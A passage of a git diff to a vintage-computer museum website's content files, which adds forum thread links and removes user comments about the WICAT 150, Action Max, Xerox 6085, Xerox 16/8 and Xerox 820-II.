randomly -) - - author: George (Fl) - date: Tuesday 31st May 2005 - text: If little is known about the 80.2, then why is it the computer of the day? oc_id: 256 source: url: https://web.archive.org/web/20230416215948/http://www.old-computers.com/museum/computer.asp?c=256 diff --git a/content/museum/welect-w86.md b/content/museum/welect-w86.md index 2c3d9596..36b8b14d 100644 --- a/content/museum/welect-w86.md +++ b/content/museum/welect-w86.md @@ -55,6 +55,7 @@ params: tabs: - photos - adverts + forum_thread: 1304 photos: - title: W86 ON ITS STAND subtitle: '' diff --git a/content/museum/wicat-150.md b/content/museum/wicat-150.md index 8ccdce0e..41f4403f 100644 --- a/content/museum/wicat-150.md +++ b/content/museum/wicat-150.md @@ -72,6 +72,7 @@ params: tabs: - photos - adverts + forum_thread: 264 photos: - title: PROMO PICTURE subtitle: '' @@ -98,131 +99,6 @@ params: subtitle: '' text: '' image: null - comments: - - author: Ralph H. Stoos Jr. (New York USA) - date: Monday 8th November 2010 - text: |- - Started with WICAT in 1986 and left in 1995. As I was departing I was the Service Manager for the NorthEast US with the exception of NYC (Thank God). - - I knew Steve Jeffus and would make my yearly pilgrimage to Orem, Utah to give/take training. - - Just to correct two things. One the Operating Systems was called WICAT Multiuser Control System (WMCS) and it had context-sensitive help long before anybody else. The OS looked like it was stolen directly from VMS but I never heard of a law suit. - - Next, the 150 was able to display monchrome graphics at 300x200 which was a lot for those days. - - There is still a WICAT 1250 with 16 serial ports on it and an 86 MB SCSI hard disk runing here in western NY. - - I made it throught Jostens Learning takeover and worked schools. When the merge happened, I was thrown into learning MACs because Jostens Learning (which was originally Prescription Learning) only ran on MACs. So the existing Josten techs only knew MACs/AppleShare and we WICAT folks were all PC/Novell. I learned MACs faster than my mentor learned Novell so I became a manager. - - All that went on until 1995 when I joined Xerox because they were going to double my salary. Still here in 2010. - - WICAT got out of the hardware business which is sad because they made great hardware. - - One war story: I waiting in Pittsburgh for a Fed-Ex plane that was supposed to bring my server (2.3 frig-sized WICAT system). Long story short they $ped it out of the plane onto the runway (it was in a box but it still looks like a parallel-o-gram). I ran it to the school and disassembled the device out of the bent case, reconected and inspected everything and it came up! Very good hardware. 474MB SMD drive. - - Last item. Parts of the original Star Wars movies were mocked up on WICAT hardware. George Lucas bought some of it so he could use the WISE emulator software package. I also installed systems for US Air, Air Canada, and Metro North (NYC subway). - - author: Leslie Applebee (Melbourne, Australia) - date: Friday 24th September 2010 - text: I was with Wicat as a field tech when Lionel Singer brought the first units ( S150s $ S200s)) to Australia in 1985 and continued with the company through it''s many guises to its sale to Fujitsu where I''m still wielding a screwdriver today ! I worked on the WITs, the halfWITS, al.l of the multibus platforms and many if not all of the proprietary systems that were present in Aus. I have an ICI-8 mounted on the wall in my office at Fujitsu to remind me of what "real computing" was all about !! - - author: Rachel Conine (Tiburon, CA) - date: Friday 20th July 2007 - text: Steve, I'm not sure if you remember me or not, but I was with WICAT Systems from 1984 - 1991 (when I was recruited by Jostens Learning.) One year later Jostens merged with WICAT and we were all back together again. I was with the combined company until 1995. I am now working with a non-profit organization that is developing a Virtual Museum of all the documentation & software we can lay our hands on from educational technology companies from the 1970s - 1990s. We would love to talk to you about what is in your head . . . I'll even buy the beer and hot dogs! - - author: Steve Jeffus (Seattle, WA) - date: Tuesday 28th June 2005 - text: |- - If anyone cares I can probably answer just about any question you may have about WICAT systems. I was with the company for over 10 years and witnessed nearly every product they built and any variation thereof. I started as a field engineer in their very early years and was Director of Field Operations when they merged (bought out) by Jostens. - - Just on a lark I was surfing and decided I would look WICAT up...and viola here I am. To answer Dan's question...I might have some pictures of these old things...I was the field engineer supporting WICAT at Ft. Lewis and travelled nearly every where they deployed those boxes. The history of that two to one drawer evolution is a story for a six pack and some serious knee slapping...I know...I was there! - - author: James Wheeler - date: Friday 8th April 2011 - text: In 1982, my software group at STSC developed an APL interpreter on a Wicat 150 with APL keyboard. I donated that machine to the Computer History Museum a few years back. 5 guys with RS-232 connections to terminals shared time-shared that machine. Code we wrote back then is still commercially available on modern Windows and Unix boxes. - - author: Peter Costello (Lincoln, NE USA) - date: Sunday 8th November 2020 - text: |- - I have a WICAT 150 I am trying to boot up. Right now I have no power and suspect it is because it has no fuse. - - Does anyone know where I might find: $$ - - 1\. A fuse for a WICAT 150 WS - - 2\. Boot disk or Instruction to boot. I see one hard drive and two memory cards has a floppy drive (the big ones and really floppy) - - 3\. Any other advise to bring her back to all her glory - - -peter - - author: Les Kraut (utah USA) - date: Saturday 28th October 2017 - text: |- - It was quite a surprise to run into this site. I worked at Wicat for several years. Started in assembly production and then was moved to customer service in Orem It was in the late eighties. Was T.E. on a machine called the Zentel if I remember correctly. These machines were extremely advanced for the time. Doubtful people really understand the processor buffering that pushed it way beyond the speeds of other systems for the time. It was a full multiuser/multitasking system. It''s O/S was very nice, but it also ran unix. I developed a software for logging repairs etc. that went back to engineering and many improvements were able to be made from that data. I was then sent out to texas as support for a school district there. I have to say I really loved the company. It was very much of a highlight in my life...\ - Funny but I don''t recognize any of the names here but, it was a pretty wides spread company. - - author: George Burch (USA) - date: Friday 30th January 2015 - text: I came across WICAT when I was with Booze Alan. We had an Army contract to build educational kiosks for recruiting. The spec required a Basic compiler which didn''t exist then. The WMCS OS was robust enough that we met the spec. The WICAT laser disc could be programmed to add graphic overlays (sprites and stuff) which made a big hit with the recruiters. - - author: George Burch (USA) - date: Friday 30th January 2015 - text: I came across WICAT when I was with Booze Alan. We had an Army contract to build educational kiosks for recruiting. The spec required a Basic compiler which didn''t exist then. The WMCS OS was robust enough that we met the spec. The WICAT laser disc could be programmed to add graphic overlays (sprites and stuff) which made a big hit with the recruiters. - - author: nycwicatworker (NYC US) - date: Monday 26th May 2014 - text: |- - This is a shoutout to everyone who worked in the NYC office in Noho. Client base included Metro North, Citibank, and Northern Telecom. The CAT part of the business was developed - if I recall - to support Dusty''s vision of handheld computers (in 1981!) and customized computer based learning systems for school systems. - - Thank you to WICAT for a great place to work and learn about computing in its relative infancy. - - PS. I Remember being with a colleague at trade shows where he programmed a fly flying into Bob Mendenhall''s ear and out of his nose! - - author: nycwicatworker (NYC US) - date: Monday 26th May 2014 - text: |- - This is a shoutout to everyone who worked in the NYC office in Noho. Client base included Metro North, Citibank, and Northern Telecom. The CAT part of the business was developed - if I recall - to support Dusty''s vision of handheld computers (in 1981!) and customized computer based learning systems for school systems. - - Thank you to WICAT for a great place to work and learn about computing in its relative infancy. - - PS. I Remember being with a colleague at trade shows where he programmed a fly flying into Bob Mendenhall''s ear and out of his nose! - - author: Benjamin Trillanes (Hagerstown, Md./ USA) - date: Saturday 25th May 2013 - text: This stuff brings back some old memories. I was a tech in about 1983 in the Washington and Baltimore area. I still have a system that I stuck together with old parts. Also have all docs and OS floppies. Both Unix and MCS, at lease I think I do. - - author: Mark Sullivan (Houston, TX USA) - date: Tuesday 11th December 2012 - text: I see that the coprocessor spec is marked "unknown". There was a FP coprocessor. It was an entire Multibus card that hosted an 8087 which was the math co-pro for the 8086. I don''t recall if there was some other kind of CPU on this board or if the interface to multibus was TTL. The hard disk controller, for example, had some kind of bit-slice processor on it and maybe the math card did as well. - - author: Jean Desjardins (Montreal, Quebec) - date: Friday 31st August 2012 - text: Wicat''s 150 was the model used in many schools in Montreal, QC. We learned Pascal, COBOL, WMCS, and some pointer-based database software. Other schools were using the PC-XT with dBASE III at the time. So we were really happy to learn assembler 68000 !!! $) - - author: Andre Hut (Denver) - date: Saturday 29th October 2011 - text: I worked at WICAT in Orem, UT in 1983. It was a great place to work, with talented software and hardware engineers. The WICAT 150 was also one of the first UNIX workstations, running BSD UNIX. I had a sooped up 150, with 512k of memory!!! - - author: PGM (Silicon Valley) - date: Saturday 15th January 2011 - text: |- - I worked for Wicat''s largest OEM dealer back in the 80''s.\ - A company called Apothetech,of which we wrote a custom turnkey pharmacy system software package. - - Unfortunately the systems were plagued with QA and design flaws.\ - Major of which was a grounding problem in the multibuss based backplane.\ - The parent company of Apothetech sued Wicat and received an undisclosed settlement which spelled the beginning of the end for Wicat''s hardware days as an OEM supplier. - - author: Sergio Samayoa (Guatemala) - date: Tuesday 9th November 2010 - text: |- - I worked with a WICAT 1250 from 1987 to 1990 as Cobol programmer. - - The machine has 2MB RAM, 12" Tape, 500MB HD (big one for that time) and has about 30+ terminals connected to it. - - The machine only ran RM/Cobol programs but instead of using RM files we used KSAM files which give us a very good performance since KSAM files were part of the OS. - - I remeber that in 1989 our HD failed and took about 2 week to get the replacement. Such big disks were very uncommon at that time. - - About that time, one division of our company brougth an AS400 with 600MB of disk (Im pretty sure about this) and 128MB (not sure about this, maybe 32 or 64) of RAM. But for our surpprise (the ones working on the Wicat), half of the disk space was occuped by the OS and with ALL the RAM it haves the AS400 was slower than our "small" Wicat. - - I liked a lot the WMCS. I wonder were are the sources. - - author: Dan Flak (Greensboro, NC) - date: Sunday 19th December 2004 - text: |- - In the 1980's I was part of a program using WICAT (150's -- I think) for a U.S. Army project at Ft. Lewis, WA. - - I recall it came in two versions: a two-drawer "office" model and later a single steel box about 12 x 10 x 30 inches. - - Does anyone have pictures of these beasts? - - author: Cliff Coleman (Kentucky, USA) - date: Thursday 3rd June 2004 - text: http://www.wicat.com/ Are these guys the same company? Their "About" page seems to indicate they pioneered video disc-based training, which was mentioned in the computer description. They do flight simulation & training now. oc_id: 254 source: url: https://web.archive.org/web/20230605034442/http://www.old-computers.com/museum/computer.asp?c=254 diff --git a/content/museum/world-book-tutor-vision.md b/content/museum/world-book-tutor-vision.md index 13be15b6..08b9463b 100644 --- a/content/museum/world-book-tutor-vision.md +++ b/content/museum/world-book-tutor-vision.md @@ -14,6 +14,7 @@ params: - emulators - links - docs + forum_thread: 1181 photos: - title: THE SYSTEM subtitle: '' @@ -193,17 +194,6 @@ params:  compiled/archived by www.intellivisionlives.com\  type of document : HTML\  source : [www.intellivisionlives.com](http://www.intellivisionlives.com) - comments: - - author: Steve Ettinger - date: Sunday 3rd August 2014 - text: |- - Your history of the World Book Tutor Vision saga is quite thorough and accurate! As one of the programmers of the software for the system (I wrote 5 or 6 of them as I recall), your recap brought back tons of memories! - - I do also recall that at about the same time as the titles were being completed, and the system was about to launch, a new kids-oriented learning game system hit the stores - one that was superior in most ways - a system that was called Socrates. - - The sound capabilities of the Socrates were inferior (at least as was demonstrated by the few examples I heard), but the system did in fact beat the Tutor Vision to market. And it appeared to have better graphics, and superior processing power. - - I''m sure that Dave Warhol and/or Keith Robinson would have more information should you care to contact them. related: - /museum/intv-corp-system-iii - /museum/mattel-electronics-intellivision diff --git a/content/museum/worlds-of-wonder-action-max.md b/content/museum/worlds-of-wonder-action-max.md index 996d4e29..4bc2555a 100644 --- a/content/museum/worlds-of-wonder-action-max.md +++ b/content/museum/worlds-of-wonder-action-max.md @@ -16,6 +16,7 @@ params: - links - docs - videos + forum_thread: 982 photos: - title: ACTION MAX subtitle: '' @@ -77,36 +78,6 @@ params: - title: Action Max Intro & Calibration (more video in software section) url: https://www.youtube.com/watch?v=v9ZcvwkUHvw text: 'Length: 58 s' - comments: - - author: k3nn - date: Monday 16th December 2013 - text: well, i remember this when i went with my mom shopping for a videogame console waaaay back when...the sales rep demoed it to us and i remember using the gun but then the video didn''t change to an exploding jet fighter despite me having already "supposedly" blasted it with my gun (excuse me for the very crude idea i had during my formative years) and immediately it was a let down as i had seen the msx in a different store before this. the msx was tons way better because you could control it (even though the graphics was just 8-bits), unlike this one(which has real life video, but not interactive).ultimately we got the Famicom/NES - - author: Allison - date: Friday 1st November 2013 - text: My brother and I got this for Christmas in 1987, when we were five years old. The concept sounded pretty cool when you''re too young to understand video games (especially for those of us born in the 1980s). But yes, I remember it not working well, and the expectation that actually shooting something would generate a reaction from the video. It must have been on its way out by the time we got it, because we only received one additional game (aside from the pack-in game), The Rescue of Pops Ghostly. Judging by the video I saw on You Tube...It''s almost no wonder that WoW went out of business, they must really have believed kids are dumb. - - author: Ed - date: Wednesday 24th August 2011 - text: |- - $i$Due to the linear nature of the games, targets appeared in the same places every single time, making memorization of "enemy" locations a real issue.$/i$ - - Doesn''t this apply to pretty much every light gun game? - - author: Dave W. (MI) - date: Saturday 4th December 2010 - text: I recieved this piece of junk for my 6th birthday in 1987. I remember the Pops Ghostly game. - - author: DPrinny (UK ) - date: Saturday 6th March 2010 - text: |- - I have two of these things and they can be easily recreated by getting out any kind of gun and pointing it at the screen shooting anything that moves.\ - Yeah its that bad. Its so bad its very very bad - - author: John Wayne (Alabama) - date: Wednesday 3rd May 2006 - text: I had one of these too when they came out. I bought a game called something like "Pops Ghostly" where you shot a ghost in an a mansion. It really sucked. BTW, I also had a lazertag kit too lol. - - author: Dan Wolak (Wyandotte, MI) - date: Tuesday 4th May 2004 - text: I had one of these briefly, and after about a week or so, I realized it was a big mistake and returned it. The sonic fury game got old pretty quick, and the system only had like 5 games for it. - - author: Bill Loguidice (Central New Jersey, USA) - date: Wednesday 14th April 2004 - text: I remember getting this system as an early teen when it was on sale at Toys 'R' Us and I had a gift certificate (it was something like $80 - $100). Boy was I dissapointed! It's a simple and repetitive target game and it HAS NOT held up well to the ravages of time. The gun broke with little use and the suction cup for the TV sensor became hopelessly warped! Not a fun system and not a good collectible except for the most die-hard... software: - /software/38-ambush-alley - /software/blue-thunder diff --git a/content/museum/xerox-6085.md b/content/museum/xerox-6085.md index be11f79b..a20a2b65 100644 --- a/content/museum/xerox-6085.md +++ b/content/museum/xerox-6085.md @@ -68,77 +68,12 @@ params: value: From $4995 tabs: - adverts + forum_thread: 1025 adverts: - title: XEROX RANGE, AUGUST 1985 subtitle: '' text: '' image: /media/museum/pubs/xerox_6085_pub_s1.jpg - comments: - - author: Col Blake (UK) - date: Monday 23rd November 2020 - text: This is a real trip down memory lane for me. I acquired one of these ''brown beasts'' in the 90s. Sadly I didn''t know how to do a ''factory reset'' and it went in the skip. It was very nice while it lasted, it was decades ahead of its time. If only someone had made an effort to sell it and a certain Mr Gates not visited Palo Alto, the story would have been so different! - - author: Robert Stackk - date: Wednesday 30th October 2019 - text: |- - Nowhere hve I seen any mention of the 6085 ''s backward compatibility with the STAR system nor the ability to near instantly interact with systems around the world. - - There was a little network game called Maze Wars. You put your player into a maze and searched for other players navigating with the arrow keys. When you spotted someone you shot them by depressing the space bar and gained points for a kill. (the killed player was reincarnated at a random place in the maze. - - The players of the game could be located anywhere in the world! - - author: Rainer Holtappels (Deutschland) - date: Wednesday 23rd October 2019 - text: Hello, I loved to work with Xerox 6085 in 1988/1989 at Xerox Leasing Germany. I think, I have been one of two persons these times in this 30-people-company, that new what to do with it:-) - - author: Gregory Casamento (United States) - date: Sunday 12th April 2015 - text: I worked with one of these for several years and, when they decided to get rid of it they offered to give the system to me, complete with scanner. I told them no since it was big and I didn''t have the room for it. That''s a decision I''ve regretted ever since. I loved working with this machine and I remember how gorgeous the UI was due to it''s simplicity and elegance. I have recently acquired one by chance, but have no way to use it at the moment. This site brings back so many memories and I hope to get my 6085 working sometime soon. $) - - author: Arun Baheti (Los Angeles, CA, USA) - date: Wednesday 23rd October 2013 - text: |- - Wow, this brings back memories. My father was a program manager on the 6085 (I still have one of the posters, a mug, and a t-shirt as momentos). - - The system was incredibly sophisticated and, frankly, is not matched even today in some of its capabilities. It was a very focused, tightly integrated system designed for doing documents (including drawings). I lived through the design and manufacturing and release, and every now and then still think to myself "why can''t my PC just do it THIS way?" (The properties button being my biggest item.) - - What I recall most was the speed with which you could create documents and do typesetting work at a very professional level. - - The PC emulation was an actual card with its own chip, wasn''t it? So you really were running two computers vs using the main CPU for the emulation, as I recall. And the emulation worked pretty well. - - Thanks for this. It brings back some great technology memories but also personal memories of my father and Xerox (and all my buddies in the El Segundo 820/CP/M users group). - - Arun Baheti - - author: David W. Green (South Florida, USA) - date: Saturday 22nd October 2011 - text: |- - I loved Viewpoint/6085! I used it for a couple of years at Ryder System as a technical writer documenting their new AS/400-based Ryder Truck Rental System, which was deployed internationally. - - We had six 6085 workstations, three 4045 laser printers, one scanner, a file server and a print server$all connected via Ethernet (a decade before the Internet). What a wonderfully productive network we had in 1986! - - It even had a terminal emulator application, which I used to grab screen shots from the IBM AS/400 over Ethernet to develop user friendly documentation, 100$ electronically. - - As a technical writer and user of the Xerox Star and 6085 workstations, I waited for years to find anything comparable. In some ways, I''m still waiting. - - I think few people understood how advanced Viewpoint and the 6085 really were. The applications were tightly integrated and highly intuitive, and they included professional level word processing, drawing and charting, as well as work-flow, library and project management tools. The mouse was optical (laser) and had zero mechanical failures. It used a mouse pad with a fine mesh for precise control over screen coordinates. - - The keyboard had a Properties key, which when pressed would pop-up a context-sensitive dialog box that let you control all properties of the currently $ed desktop object. It was way ahead of its time! Only now, in the new millennium, are things getting as intuitive, productive and downright fun to use as the Xerox 6085. - - My work for Ryder System was submitted to the Xerox Electronic Publishing contest in 1987. I was awarded the 1988 Xerox Electronic Publishing Award for the work I developed using the 6085. - - author: Roland Cleaver (Swansea, UK) - date: Tuesday 24th July 2007 - text: |- - Fantastic machines with 128bit High Level Instruction Set CPU (and a 386 for the PC emulator and cold loader). - - These machines ware known as "Doves", AFAIR, and you can see this with the CPU microcode file called "moonrise.dove". The XNS fileserver was a "Raven" and had a belt driven hard-disc! - - If you've got one, there's a profile document that you can export to a PC disc and text edit. Set "Developer" to "True" and you can activate all the optional software. - - Mesa was very similar to Modula-2 and was compiled to "Binary Configuration Descriptions" (.bcd). The BCD modules were late-linked, tied together via an interpreter of "Atomic Profiles", rather like COM/CORBA interface descriptions (IDLs). The modules would register to send and receive event messages. The 6085 could run Viewpoint, Xerox Development Environment and InterLISP as different worlds, and it's presumably from LISP that the Atomic system is descended. - - I've seen these machines languishing in a few auction houses and clearance sales with no-one understanding what they were. Shame I didn't have the space to buy them. - - author: Donna Miller (King of Prussia, PA USA) - date: Thursday 23rd February 2006 - text: I was trying to describe to someone how sophisticated the 6085 was, and I am so glad to have your website to point them to! I spent many years supporting this program as a trainer and analyst and it was great to revisit it in your museum. Now I wish I hadn't thrown out all my documentation! - - author: Thierry JOUBERT (France) - date: Sunday 12th December 2004 - text: I made my first project as a software engineer on this machine in a French bank (1985-1986). I still have the MESA programming reference (1984), some screen shots made on a vintage Xerox laser printer, my programs and drawings on a 5"1/4 floppy disk and the serial number plate of my machine (E30-027684). oc_id: 1052 source: url: https://web.archive.org/web/20230608082628/http://www.old-computers.com/museum/computer.asp?c=1052 diff --git a/content/museum/xerox-8-16.md b/content/museum/xerox-8-16.md index 44762be3..71dd1dac 100644 --- a/content/museum/xerox-8-16.md +++ b/content/museum/xerox-8-16.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 35 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -79,43 +80,6 @@ params: "You hesitate between two standards."\ "Rank Xerox doesn't." image: /media/museum/pubs/xerox_16-8_pub_1.jpg - comments: - - author: Kyle Count (New Hampshire, USA) - date: Sunday 9th April 2023 - text: We had one of these when I was a kid growing up. Don''t remember much, except the keyboard that came with it was awful! Very, very flat, mushy keys... - - author: Jay (Washington State USA) - date: Tuesday 22nd September 2020 - text: |- - I am looking for one of these at a cheap price, I will pay up to 100$ including shipping if I have to pay for it\ - Email is jaya.buckwheat@gmail.com - - author: Colin Barker (United Kingdom) - date: Sunday 17th November 2019 - text: As a working technology journalist I got a 16/8 to test and then write about. The ability to be able to swap between MSDOS and CP/M at will was great. It as an elegant system and came with a cool Xerox printer. I gave it an OK review but argued that people would use either CP/M or MSDOS but not both. The nice people at Xerox never asked for it back so I wrote all my copy on it for the next four years - lucky me! - - author: James Bell (Austin, Texas) - date: Sunday 23rd July 2017 - text: |- - Worked for Balcones Computer Corporation with Robert Burns (the MicroManiac) and brother Jay Bell.\ - Balcones Consulted for Xerox and took the Xerox 820 from I to Xerox 820-II. If you look through the BIOS code documentation you''ll see references to Balcones. Balcones drove adding the expansion connector and developed the 16/8 CPU card for Xerox. The expansion chassis used a WD1002 controller to interface the external floppy and hard disk (same type of controller used in the Kaypro 10)...both Kaypro and Xerox 820 were derived from the "Big Board". Our first prototypes of the 16/8 CPU card was created using a "multiwire" connection method, but production versions were multilayer printed circuit boards. I still have at least one of the multiwire prototypes. Jay Bell always said that the weak link in the 8086 card design was the use of many PAL chips whose timing did not always meet spec and thus created an instability sometimes.\ - Balcones also sold their Accounting System (The Boss System) which was sold by Xerox and Rank Xerox worldwide. A lawsuit relating to Xerox royalties for various projects ended up taking Balcones down. Many of Balcones employees transitioned to PC''s Ltd (later called Dell) where Jay Bell and Robert Burns designed the first 286 system for PC''s Ltd which was Michael Dell''s first in house Computer design. - - author: Pete Martin (UK) - date: Saturday 30th May 2015 - text: |- - I worked for Xerox in the UK during the eighties and sold loads of the 820 and 16 / 8 machines. The way the 16 bit part worked was to convert everything to 8 bit, do the processing, and convert it back. I remember a customer buying 820''s and later on the PA wanting her own machine, so I sold her a 16 / 8 with 16 bit programs. Compared with the 8 bit systems it ran at half the speed!\ - The main advantage of the Xerox system was the software, which in reality was the predecessor of microsoft office - spreadsheets, word processing, database. It was this that customers bought - the actual computer was mostly irrelevant - as long as it was reliable.\ - The 16 / 8 was due to be replaced with the a new computer which was a re-branded Olivetti, code named M24 I think. I remember being on a course training on it and it was fabulous. At the end of the course HQ sent word out that it had been cancelled! It was thought that desktop computers were the wrong direction to take.\ - Xerox invented the mouse, laser printers, network software, office software, and much more 15 years before anyone else and totally failed to see the potential! - - author: Arun Baheti (Los Angeles, CA, USA) - date: Wednesday 23rd October 2013 - text: I still miss my 16/8. The low profile keyboard is still the best I''ve ever used. I ran a BBS for several years, and used mine all the way through college (I started with an 820-I, upgraded the board to -II, then to 16/8, all with 8" drives and rigid drive, and eventually to the slimmed down 16/8 which was 5.25"). I had some add-on hardware such as a mouse and Ethernet adapter "box" that was nearly the size of the slim-16/8 main box. The machine taught me everything about computers, networking, and programming. Reliable and sturdy, a real friend. I still have the original manuals, tech manuals, and boxes of disks that I couldn''t bring myself to part with. $Arun Baheti - - author: enrico lazzerini (pisa (italy)) - date: Sunday 28th April 2013 - text: 'i was studying xerox 820-II interface cards, so i met xerox 16/8 description in my italian language with those important pictures of the EM. These are here : http://www.1000bit.it/support/articoli/xerox/xerox16_8.pdf it would be so nice to find almost its schematics on Internet. Regards Enrico - Pisa (Italy)' - - author: Joe K - date: Saturday 3rd July 2010 - text: 16/8 got me through college, though I almost missed deadline on a final when my diabolo 630 crashed with only 20 minutes before the deadline. Got it up and running 10 minutes before the deadline but had to print 11 pages - and it printed a page per minute! Ran in with my paper 5 minutes after the deadline, but the proctors let it slide! - - author: Mnem (Canada) - date: Friday 16th December 2005 - text: Heh, I always wondered which system these disk drives matched. I have two of the external dual-8" floppy units. They're heavy as heck, but they make good foot stools. oc_id: 14 source: url: https://web.archive.org/web/20230413210528/http://www.old-computers.com/museum/computer.asp?c=14 diff --git a/content/museum/xerox-820-ii.md b/content/museum/xerox-820-ii.md index b0aa516e..a23ca277 100644 --- a/content/museum/xerox-820-ii.md +++ b/content/museum/xerox-820-ii.md @@ -64,6 +64,7 @@ params: - photos - adverts - hardware + forum_thread: 481 photos: - title: SYSTEM subtitle: '' @@ -113,108 +114,6 @@ params: subtitle: Printer text: This printer is an option of the Model 820. It can print 132 character per line at a speed of 40 cps. It is bi-directional. image: /media/museum/hardware/xerox_820-2_printer_1.jpg - comments: - - author: Larry Sh. (USA) - date: Sunday 7th August 2022 - text: Again, not a "bad" computer per se, but much better was out there in 1983. 8" floppies where already sliding into obsolescence. Some of the same great software was becoming available for the new IBM PC and PC/XT and the new Apple //e had some great productivity software coming soon. This was a case of too little improvement coming too late. A Kaypro 10 was a better deal that was at least as good, or better, at a lower price and excellent build quality. Xerox leadership was caught in the 1970''s or something. - - author: Yee - date: Wednesday 1st December 2021 - text: ok boomer - - author: Joe (Tj, Mex) (Mexico) - date: Friday 14th April 2017 - text: Nice to see my original post at bottom of page after all these years, I still have that old computer, thanks to all who run and contribute to this site. - - author: Bla Bla Bla My daddy worked for Xerox... - date: Thursday 24th November 2016 - text: 'Keep in mind that this low quality system was produced at the same time that GUI system: Apple Macintosh and Xerox Star were being sold...' - - author: Bla Bla Bla My daddy worked for Xerox... - date: Thursday 24th November 2016 - text: |- - Oh well, having done even more research... - - Apple Lisa and Macintosh teams at Apple Computer included former members of the Xerox developers. - - Xerox did try to sell the Xerox Star, which has similar MacIntosh features, however: - - Xerox Star Cost: $16,000 - $24,000\ - Apple Macintosh: $2,495 - - Which one can you afford? - - author: Bla Bla Bla My daddy worked for Xerox... - date: Thursday 24th November 2016 - text: |- - See my comment on: X XEROX 820 - - Unlike the 820, this thing was almost a bearable over priced piece of 1982 space junk. - - Please look up Xerox Alto on Google. - - From a technical perspective, the 1973 Xerox Alto can be considered the first Macintosh, since Steve Jobs copied it when he made the first Apple Lisa. - - Even when Apple computer stole the Alto, Xerox could have resumed research and blown them out of the water with a new Alto before the Apple Mac started. - - Instead they they played it safe, and mimicked/copied the CP/M and IBM platforms. - - "Bad move, Space Cuuuu-dit." - Gorf - - author: Laurie Bennett (Illinois, USA) - date: Tuesday 2nd June 2015 - text: My aunt was a VP for Xerox in the St. Louis, MO area in the late 70s and early 80s. We had the privilege of acquiring the Xerox 820-II computer with the Diablo 630 Daisywheel Printer and I have the whole set in good working condition with numerous floppy disks for accounting and computing! Our family was one of the "home test pilot program families'' for the Xerox 820-II. I have all the original manuals, cords and everything. - - author: Arun Baheti (Los Angeles, California, USA) - date: Saturday 17th May 2014 - text: 'Miles Attacca (USA): Swap pins 2 and 3 on the rs232 cable. Terminal mode will work fine. If needed you can adjust the speed of the port (I think "B" is the command? You can hit the help key for the basic functions list). I used mine as a terminal and also to move files between machines often. $arun' - - author: Arun Baheti (Los Angeles, California, USA) - date: Saturday 17th May 2014 - text: |- - The 820-II and 16/8 are where I cut my teeth in computing (started with a -I and got upgraded). The -II did add some graphic capabilities over the -I, and we were able to run some (then) cutting edge graphics programs for business graphing (as add ons to dBase) and even print them on the daisy wheel Diablo 630 printer. There were also a surprising array of graphics oriented games, but limited by the block graphics which made more sense for business applications. - - I had the 8" drive system, and eventually got a hard drive (Shugart sa1004 maybe?) that was a whopping 10meg. I still have technical manuals and software on 5" and 8" disk $ somehow I can''t part with them as momentos even though the computers were passed on long ago. - - I''d love to get my hands on one to play around a little bit. - - author: Mikael Larsson (Sweden) - date: Friday 2nd May 2014 - text: I did some programming for Xerox in the 80''s. A user friendly form maker for the laser printer 2700. One of the first tihing I did was to connect an on/off button for the disk drives. Now, after I have downloaded some documents that was unknown for me earlier, I had to do a reunion with my 820-II. I love block graphics! My challenge is to make the best block graphics program ever. /Mikael - - author: Michael Rutkaus (USA ) - date: Wednesday 9th May 2012 - text: Dave, it''s mrutkausattgeemale.com, translated into normal usage! Mike - - author: Bryan (USA) - date: Sunday 15th April 2012 - text: |- - I had one of these for a few years - probably was about 1993 or so. It was a gimme from an office supply store my mother worked at. Had some bootable software but not much else. - - These were basically Big Board clones, same as the Kaypro series. I remember reading that somewhere, probably Micro C or something, and decided to try some of my Kaypro Software. With a little bit of terminal escape code modifications, most Kaypro stuff would run on a 820-II. Uniform was no problem, from what I remember. - - Not sure what happened to that machine! - - author: Dave Clark - date: Saturday 11th February 2012 - text: How does one get in touch with you Mike ? - - author: Michael Rutkaus (winchester va usa) - date: Friday 9th December 2011 - text: i have what i believe is a IBM386 card for the xerox 820II, free to anyone who sends me a self addressed padded envelope with sufficient ($3?) postage attached. ask me first to see if anyone else has asked. - - author: Michael Rutkaus (winchester va usa) - date: Friday 9th December 2011 - text: i have what i believe is a IBM386 card for the xerox 820II, free to anyone who sends me a self addressed padded envelope with sufficient ($3?) postage attached. ask me first to see if anyone else has asked. - - author: Michael Rutkaus (winchester va usa) - date: Friday 9th December 2011 - text: i have what i believe is a IBM386 card for the xerox 820II, free to anyone who sends me a self addressed padded envelope with sufficient ($3?) postage attached. ask me first to see if anyone else has asked. - - author: Miles Attacca (USA) - date: Sunday 9th March 2008 - text: Anybody know how to get an 820-II to talk to a modern computer? I need to build a null modem cable so I can set it up as a terminal for a Linux machine, and while I do have a manual with the pin-out information for both serial channels, I don't know which wires are required for it to function properly. I'd like to do it in the basic terminal mode, without having to hook up the hard disk and load CP/M. - - author: David Griffith (Bakersfield CA/United States) - date: Tuesday 21st August 2007 - text: The Xerox 820-II in my posession actually has single-sided disk drives. - - author: Kai Nilakari (Earth) - date: Tuesday 21st August 2007 - text: The X820-II had also a hardware ms-dos option. It consisted of an add-on board fit into the monitor/cpu. Of course the keyboard mapping was different to a pc keyboard, but ms-dos operating system was possible. Unfortunately I've destroyed my X820 about four years ago because both A and B floppy drives didn't work anymore. - - author: Bob Chisholm (USA) - date: Thursday 22nd September 2005 - text: I also worked for Xerox (from 1969 to 2004) and bought an 820 II through our employee purchase plan. It had a function for use as a typewriter. When booting you could select that funtion, turn on your printer and type away. I purchased mine with a Diablo 640 printer, DBase, Wordstar, SuperCalc and some brand of BASIC. If I remember correctly, the total cost was around $3600 US (maybe closer to $4000). - - author: Joe (Tj, Mex) - date: Saturday 7th December 2002 - text: |- - Well what can I say about this piece of history got one at home with printer (40 lbs) and the drives too.. I paid $200. US for it 5 years ago, you could say this was my first computer after the C64 ...LOL when I was pluggin everything in and turnig the power on, well, heard a Beep and saw a command prompt with bout 5 options then I realized that this was not a very good buy! but when I started reading the manuals (oh yeah lots of them...) I fell in love u could say with this piece of history. Found lots of Appl. Database (DbaseII), Wordprocessors (WordStar), Spredsheets (SuperCalc), a bunch of disks (8") with lots of files. programs, assemblers, linkers the works.... Oh yes did I MENTION THAT A LOT OF DOCS CAME WITH THIS BUY, everything describing tha OS (CPM) Sys calls (ROM) and lots of Info for developing new programs. Well nuff bout that if u need info about this puter gimme call. - - PS . when I was experimenting I accedently ran the format command on the Sys disk (really 